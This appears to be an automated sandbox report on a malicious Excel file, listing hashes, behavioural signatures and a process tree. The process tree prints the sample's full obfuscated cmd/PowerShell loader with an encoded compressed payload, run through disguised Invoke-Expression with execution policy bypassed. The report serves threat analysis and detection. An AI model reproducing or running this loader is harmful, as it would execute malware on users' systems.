Analysis
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max time kernel
46s -
max time network
50s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
27-06-2024 22:09
Behavioral task
behavioral1
Sample
35d61d59a6af4fa5a56c7fb8a481ce95720ac7c7d9921c452feeb048674af1d1.xls
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
35d61d59a6af4fa5a56c7fb8a481ce95720ac7c7d9921c452feeb048674af1d1.xls
Resource
win10v2004-20240508-en
General
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Target
35d61d59a6af4fa5a56c7fb8a481ce95720ac7c7d9921c452feeb048674af1d1.xls
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Size
110KB
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MD5
d63937f0dd2cabb5e758c9157e2f1b24
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SHA1
d3c460b90f9f2c329e750cbb5a56f537475bd3cd
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SHA256
35d61d59a6af4fa5a56c7fb8a481ce95720ac7c7d9921c452feeb048674af1d1
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SHA512
1be83c7fa622a7e6bd9dd7b4f3991bfbe6859f6d8436ce7f2df375fbca67ff4f6c09d4eee787df07bc7ba338e1de038ff35f9ab238fd378ce5faabd3c09af2b6
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SSDEEP
3072:an1DN3aM+UKccCEW8yjJTdrBZq8/ak3hOdsylKlgryzc4bNhZFGzE+cL2knAimoh:an1DN3aM+UKccCEW8yjJTdrBZq8/ak3R
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cMd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 756 2036 cMd.exe EXCEL.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2036 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1044 powershell.exe 1044 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1044 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE 2036 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEcMd.execmd.exedescription pid process target process PID 2036 wrote to memory of 756 2036 EXCEL.EXE cMd.exe PID 2036 wrote to memory of 756 2036 EXCEL.EXE cMd.exe PID 756 wrote to memory of 4188 756 cMd.exe cmd.exe PID 756 wrote to memory of 4188 756 cMd.exe cmd.exe PID 4188 wrote to memory of 1044 4188 cmd.exe powershell.exe PID 4188 wrote to memory of 1044 4188 cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\35d61d59a6af4fa5a56c7fb8a481ce95720ac7c7d9921c452feeb048674af1d1.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2036 -
C:\Windows\SYSTEM32\cMd.execMd /c "set Bfa=(new-oBjecT SYsTeM.Io.cOmPreSSiOn.DeflateStreaM( [sySTem.IO.meMORYstReaM][cONvert]::frOmbaSe64STRiNG( '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' ) , [SYSTem.iO.coMpREssIoN.cOmPRESSIOnMOdE]::dEcoMPREss )^|fOReAch-OBJEcT{ nEW-oBjECT io.STrEAmREader($_ , [SyStEm.TEXT.EncOdiNg]::ASciI )}).rEaDtoEND( )^|. ( $Env:cOmspec[4,24,25]-jOIn'')&&seT kmFr=PowErSHeLL -NOni -EXeC BypAsS -w 1 -NoPR ( .( \"{0}{2}{1}\"-f'GE','-iteM','t' ) ( \"{0}{1}\" -f 'E','Nv:Bfa') ).\"V`ALue\" ^^^|. ( ${P`sho`ME}[4] + ${pS`HOmE}[30]+ 'X' )&& CMd.eXE /c %KmFr%"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:756 -
C:\Windows\system32\cmd.exeCMd.eXE /c %KmFr%3⤵
- Suspicious use of WriteProcessMemory
PID:4188 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowErSHeLL -NOni -EXeC BypAsS -w 1 -NoPR ( .( \"{0}{2}{1}\"-f'GE','-iteM','t' ) ( \"{0}{1}\" -f 'E','Nv:Bfa') ).\"V`ALue\" |. ( ${P`sho`ME}[4] + ${pS`HOmE}[30]+ 'X' )4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1044
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82